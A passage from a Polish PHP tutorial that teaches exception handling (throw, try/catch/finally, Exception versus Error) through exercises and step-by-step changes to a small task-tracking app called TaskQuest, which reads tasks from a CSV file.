<p class="wp-block-paragraph">Wyjątek to sygnał: <strong>„nie potrafię zrobić tego, o co mnie poproszono”</strong>. Nie służy do zwykłego rozgałęziania programu.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja w TaskQuest</th><th>Wyjątek?</th><th>Dlaczego</th></tr></thead><tbody><tr><td>Plik z zadaniami jest pusty (tylko nagłówek)</td><td><strong>nie</strong></td><td>to normalny stan: „Brak zadań.” jest poprawną odpowiedzią</td></tr><tr><td>Plik z zadaniami nie istnieje</td><td><strong>tak</strong></td><td>funkcja nie może wykonać zadania</td></tr><tr><td>Wiersz CSV ma 5 pól zamiast 6</td><td><strong>tak</strong></td><td>dane są uszkodzone, nie da się ich zinterpretować</td></tr><tr><td>Login nie przechodzi regexa w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code></td><td><strong>nie</strong></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> to oczekiwana odpowiedź, nie awaria</td></tr><tr><td>Wszystkie zadania są wykonane</td><td><strong>nie</strong></td><td>normalny stan aplikacji</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> zostaje funkcją zwracającą <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, a pusty plik nie rzuca wyjątku.</p>



<h2 class="wp-block-heading">3.8 PHP też rzuca wyjątki — i jest jeszcze <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code></h2>



<p class="wp-block-paragraph">Wyjątki rzucają także wbudowane funkcje PHP. Sprawdź to nadal w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$termin = new DateTime('to nie jest data');</code></pre>



<p class="wp-block-paragraph">Zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught DateMalformedStringException: Failed to parse time string ...</code> (w PHP starszym niż 8.3 to zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> — zasada ta sama). Nasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code> używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> — więc gdyby w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> wylądowała bzdura zamiast daty, strona zatrzymałaby się <strong>w zupełnie innym miejscu</strong> niż to, w którym problem powstał (w sekcji 6 zobaczysz to na własne oczy i naprawimy).</p>



<p class="wp-block-paragraph">Druga ważna sprawa: w PHP są dwie „rodziny” problemów. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> to awarie, które przewidujemy i obsługujemy (brak pliku, zły wiersz). <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>, gdy do funkcji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> przekażesz tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"abc"</code>) to zwykle <strong>błąd w programie</strong>, który należy naprawić, a nie łapać. <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code> <strong>nie przechwyci</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> — sprawdzisz to w eksperymencie 4. (Obie rodziny łączy wspólna nazwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>; do tego wrócimy w Lekcji 23.) W tej lekcji łapiemy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>.</p>



<h3 class="wp-block-heading">Typowe błędy przy wyjątkach</h3>



<ul class="wp-block-list">
<li><strong>Pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek) { }</code>) — awaria „znika”, a program jedzie dalej, jakby nic się nie stało. To najgorsza możliwość: wracamy do „cichych” błędów z Lekcji 11.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> opakowujący cały program.</strong> Trudno potem wiedzieć, co dokładnie zawiodło i co da się kontynuować.</li>



<li><strong>Rzucanie wyjątku dla sytuacji normalnej</strong> (pusty plik, zły login) — wyjątek to awaria, nie zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>.</li>



<li><strong>Pokazywanie użytkownikowi <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> lub śladu wywołań</strong> — ujawnia ścieżki na serwerze.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code></strong> — nadpisuje wynik z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>.</li>



<li><strong>Zapomniany <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code></strong> — sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception(...)</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> nic nie robi.</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> z obsługą awarii</h1>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> To ostatnie ćwiczenie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, zanim zaczniemy zmieniać sam projekt (sekcja 5). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (zastąp poprzednią zawartość) napisz kod, który:</p>



<ol class="wp-block-list">
<li>definiuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(int $xp, int $nagroda): int</code> — dla ujemnej nagrody <strong>rzuca</strong> wyjątek z komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nagroda XP nie może być ujemna.</code>, w przeciwnym razie zwraca sumę,</li>



<li>ustawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = 50</code> i dla każdej nagrody z listy <code class="prettyprint lang-sql" style="font-size: 0.85em;">[20, 0, -5, 15]</code> (pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>) próbuje wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>,</li>



<li>wypisuje dla każdej nagrody jedną linię: albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nagroda 20 XP: razem 70</code>, albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nagroda -5 XP: odrzucona — &lt;komunikat wyjątku&gt;</code>,</li>



<li>pod pętlą wypisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Koniec sprawdzania</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt w przeglądarce:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nagroda 20 XP: razem 70
Nagroda 0 XP: razem 50
Nagroda -5 XP: odrzucona — Nagroda XP nie może być ujemna.
Nagroda 15 XP: razem 65
Koniec sprawdzania</code></pre>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> po odrzuconej nagrodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> program <strong>nie może się zatrzymać</strong> — nagroda <code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code> musi zostać przetworzona.</p>



<p class="wp-block-paragraph"><strong>Rozszerzenie:</strong> dodaj blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, który po każdej nagrodzie (niezależnie od wyniku) wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">(sprawdzono nagrodę 20)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">(sprawdzono nagrodę 0)</code> itd. Przewidź, w jakiej kolejności pojawią się linie dla nagrody <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code>, zanim uruchomisz kod.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Pomyśl, <strong>gdzie</strong> ma stać <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>: wokół całej pętli czy wewnątrz niej? Program ma przetworzyć nagrodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code> po odrzuceniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> — więc wyjątek musi zostać złapany w obrębie <strong>jednego obrotu pętli</strong>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($nagrody as $nagroda) {
    try {
        // wywołanie dodajXp() i wypisanie wyniku
    } catch (Exception $wyjatek) {
        // wypisanie informacji o odrzuceniu + $wyjatek-&gt;getMessage()
    } finally {
        // (tylko w rozszerzeniu)
    }
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function dodajXp(int $xp, int $nagroda): int
{
    if ($nagroda &lt; 0) {
        throw new Exception("Nagroda XP nie może być ujemna.");
    }

    return $xp + $nagroda;
}

$xp = 50;
$nagrody = &#91;20, 0, -5, 15];

foreach ($nagrody as $nagroda) {
    try {
        $razem = dodajXp($xp, $nagroda);
        echo "Nagroda $nagroda XP: razem $razem&lt;br&gt;";
    } catch (Exception $wyjatek) {
        echo "Nagroda $nagroda XP: odrzucona — " . $wyjatek-&gt;getMessage() . "&lt;br&gt;";
    } finally {
        echo "(sprawdzono nagrodę $nagroda)&lt;br&gt;";
    }
}

echo "Koniec sprawdzania";
</code></pre>



<p class="wp-block-paragraph">Dla nagrody <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> kolejność jest taka: najpierw komunikat z <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, <strong>potem</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">(sprawdzono nagrodę -5)</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>. Jeśli nie chcesz linii z <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, usuń cały ten blok.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy wyjątki do TaskQuest — krok po kroku</h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od tego miejsca kończymy pracę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i zmieniamy pliki prawdziwej aplikacji w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> — dokładnie te, które są wymienione przy każdym kroku niżej. Zmieniamy cztery rzeczy, w tej kolejności: najpierw funkcje, które <strong>zgłaszają</strong> awarie, potem miejsce, które je <strong>obsługuje</strong>. Dlatego po Krokach 1 i 2, a przed Krokiem 3, strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przy awarii pliku pokaże <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> — to normalne, bo jeszcze nikt awarii nie łapie.</p>



<h2 class="wp-block-heading">Krok 1 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zgłasza kłopoty z plikiem</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong> Zamień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> trzy miejsca, w których dotąd było <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $zadania;</code> (plik nie jest plikiem, plik nie jest czytelny, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwróciło <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>), na <strong>rzucenie wyjątku</strong> z komunikatem:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Przypadek</th><th>Komunikat (dokładnie taki)</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">!is_file($sciezka)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik z zadaniami nie istnieje.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">!is_readable($sciezka)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Brak uprawnień do odczytu pliku z zadaniami.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uchwyt === false</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się otworzyć pliku z zadaniami.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zauważ, że linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = [];</code> nie musi już stać na początku funkcji — przenieś ją pod sprawdzenia, tuż przed odczytem pliku.</p>



<p class="wp-block-paragraph"><strong>Jak sprawdzić — wracamy na chwilę do brudnopisu.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_plikow.php';

try {
    wczytajZadania(__DIR__ . '/data/nie_ma.csv');
} catch (Exception $wyjatek) {
    echo $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph">Ma się wypisać: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik z zadaniami nie istnieje.</code></p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nie potrzebujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> przerywa funkcję dokładnie tak jak wcześniej robił to <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>, więc reszta funkcji wykona się tylko wtedy, gdy wszystko jest w porządku.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Początek funkcji po zmianie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadania(string $sciezka): array
{
    if (!is_file($sciezka)) {
        throw new Exception("Plik z zadaniami nie istnieje.");
    }

    if (!is_readable($sciezka)) {
        throw new Exception("Brak uprawnień do odczytu pliku z zadaniami.");
    }

    $uchwyt = fopen($sciezka, 'r');

    if ($uchwyt === false) {
        throw new Exception("Nie udało się otworzyć pliku z zadaniami.");
    }

    $zadania = &#91;];

    // ... dalej bez zmian (na razie) ...</code></pre>
</details>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: uszkodzony wiersz i <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code></h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong> Dziś uszkodzony wiersz (<code class="prettyprint lang-sql" style="font-size: 0.85em;">count($wiersz) !== 6</code>) jest pomijany przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">continue</code> — po cichu. Zmieniamy to.</p>



<p class="wp-block-paragraph"><strong>a)</strong> Nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> dopisz nową funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzWierszZadania(array $wiersz, int $numerLinii): void</code></pre>



<p class="wp-block-paragraph">Na razie ma tylko jedno sprawdzenie: jeśli wiersz nie ma dokładnie 6 pól — rzuca wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia N: oczekiwano 6 pól, a jest X.</code> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia 4: oczekiwano 6 pól, a jest 5.</code>). Funkcja niczego nie zwraca (<code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code>) — albo wiersz jest w porządku i nic się nie dzieje, albo leci wyjątek.</p>



<p class="wp-block-paragraph"><strong>b)</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>:</p>



<ol class="wp-block-list">
<li><strong>usuń</strong> dotychczasowy fragment <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (count($wiersz) !== 6) { continue; }</code> — to on po cichu gubił zadania,</li>



<li>numeruj linie pliku: nagłówek to linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>, więc pierwsze zadanie jest w linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code> (zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$numerLinii</code>),</li>



<li><strong>pustą linię</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> zwraca wtedy tablicę <code class="prettyprint lang-sql" style="font-size: 0.85em;">[null]</code>) nadal pomijaj przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">continue</code> — to niegroźne i nie jest awarią,</li>



<li>dla pozostałych wierszy wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>,</li>



<li>cały odczyt (nagłówek + pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code>) umieść w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { ... } finally { fclose($uchwyt); }</code>.</li>
</ol>



<p class="wp-block-paragraph">Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>? Bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> może rzucić wyjątek w środku pętli, a wtedy kod po pętli (w tym dotychczasowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>) <strong>w ogóle się nie wykona</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> gwarantuje zamknięcie pliku w każdej sytuacji. Uczciwie: PHP i tak zamyka otwarte pliki, gdy skrypt się kończy, więc w naszej małej aplikacji nie zobaczysz różnicy gołym okiem. Ale funkcja może być wywoływana wiele razy w jednym skrypcie, w Windows otwartego pliku nie da się usunąć ani przenieść, a nawyk „sprzątam zawsze” będzie kluczowy przy bazie danych (od Lekcji 17). Zauważ też, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $zadania;</code> zostaje <strong>poza</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Pusta linia to <code class="prettyprint lang-sql" style="font-size: 0.85em;">[null]</code> — tablica z jednym elementem <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Porównaj ją przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z takim właśnie zapisem. Numer linii zwiększaj na początku każdego obrotu pętli, zanim cokolwiek sprawdzisz.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    $zadania = &#91;];

    try {
        fgetcsv($uchwyt, 0, ';', '"', '');   // nagłówek
        $numerLinii = 1;

        while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
            $numerLinii++;

            // pusta linia? -&gt; continue

            // sprawdzenie wiersza

            $zadania&#91;] = &#91; /* jak dotąd */ ];
        }
    } finally {
        // zamknięcie pliku
    }

    return $zadania;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzWierszZadania(array $wiersz, int $numerLinii): void
{
    if (count($wiersz) !== 6) {
        throw new Exception("Linia $numerLinii: oczekiwano 6 pól, a jest " . count($wiersz) . ".");
    }
}


function wczytajZadania(string $sciezka): array
{
    // ... trzy sprawdzenia z Kroku 1 bez zmian ...

    $zadania = &#91;];

    try {
        fgetcsv($uchwyt, 0, ';', '"', '');   // pierwszy wiersz to nagłówek — pomijamy go
        $numerLinii = 1;

        while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
            $numerLinii++;

            if ($wiersz === &#91;null]) {
                continue;   // pusta linia — niegroźna, pomijamy ją jak w Lekcji 11
            }

            sprawdzWierszZadania($wiersz, $numerLinii);

            $zadania&#91;] = &#91;
                'id' =&gt; (int) $wiersz&#91;0],
                'tytul' =&gt; $wiersz&#91;1],
                'opis' =&gt; $wiersz&#91;2],
                'termin' =&gt; $wiersz&#91;3],
                'wykonane' =&gt; $wiersz&#91;4] === '1',
                'xp' =&gt; (int) $wiersz&#91;5]
            ];
        }
    } finally {
        fclose($uchwyt);   // wykona się zawsze — także wtedy, gdy wyżej poleciał wyjątek
    }

    return $zadania;
}</code></pre>



<p class="wp-block-paragraph">Numer linii liczymy jako numer <em>wiersza pliku</em> (nagłówek = 1). To wystarcza, dopóki żadne pole nie zawiera znaku nowej linii w środku — u nas tak jest.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> łapie awarię</h2>



<p class="wp-block-paragraph"><strong>Pliki projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>.</strong> Teraz miejsce, które <strong>wie, co robić</strong>. TaskQuest ma nie zatrzymywać się przy awarii pliku: poziom, XP, pasek i streak mają działać jak zawsze, a w sekcji „Twoje zadania” ma pojawić się komunikat o problemie.</p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>:</p>



<ol class="wp-block-list">
<li>Blok „dane zadań (z pliku CSV)” ma zawsze ustawić <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> (na początek pusta tablica) oraz nową zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, gdy wszystko poszło dobrze, a w przeciwnym razie tekst z wyjątku. Wczytanie zadań opakuj w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li>Pod nagłówkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code>: gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan !== null</code> — wypisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="blad"&gt;Nie udało się wczytać zadań: ...&lt;/p&gt;</code> <strong>i nic więcej z tej sekcji</strong> (bez liczników, komunikatów i listy). W przeciwnym razie sekcja wygląda dokładnie jak dotąd.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code> dodaj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code> regułę dla klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code>.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.1</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.2</code>.</li>
</ol>



<p class="wp-block-paragraph">Zastanów się: dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> musi mieć wartość początkową <em>przed</em> <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>? Co by się stało z <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($zadania)</code> niżej w pliku, gdyby wyjątek poleciał, zanim cokolwiek do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> trafiło?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Fragment strony, który ma się pojawić <strong>tylko w jednym z dwóch przypadków</strong>, możesz objąć tak: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if (warunek) { ?&gt;</code> &#8230; HTML &#8230; <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php } else { ?&gt;</code> &#8230; HTML i PHP &#8230; <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php } ?&gt;</code>. Wchodzenie i wychodzenie z PHP znasz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code> i z <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Blok danych zadań:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = &#91;];
$bladZadan = null;

try {
    // wczytanie
} catch (Exception $wyjatek) {
    // zapamiętanie komunikatu
}</code></pre>



<p class="wp-block-paragraph">Sekcja zadań:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;... &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        ... cała dotychczasowa zawartość sekcji (liczniki, blok PHP z listą) ...

        &lt;?php } ?&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — blok danych zadań:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane zadań (z pliku CSV) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — pod nagłówkiem sekcji zadań, przed akapitem z licznikami, dodaj początek konstrukcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> (<strong>cała dotychczasowa reszta sekcji zostaje w środku <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code></strong>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: ...</code></pre>



<p class="wp-block-paragraph"><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — koniec pliku: po zamykającym <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code> bloku z pętlą <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> dodaj jedną linię, a dopiero potem dołączasz footer:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>



<p class="wp-block-paragraph"><strong>d)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.wykonane</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad { border: 1px solid #c00; background: #fdecec; color: #900; border-radius: 8px; padding: 8px 16px; }</code></pre>



<p class="wp-block-paragraph"><strong>e)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;TaskQuest 1.2&lt;/p&gt;</code>.</p>



<p class="wp-block-paragraph">Na koniec usuń nadmiarowe znaczniki php &lt;?php ?&gt;</p>



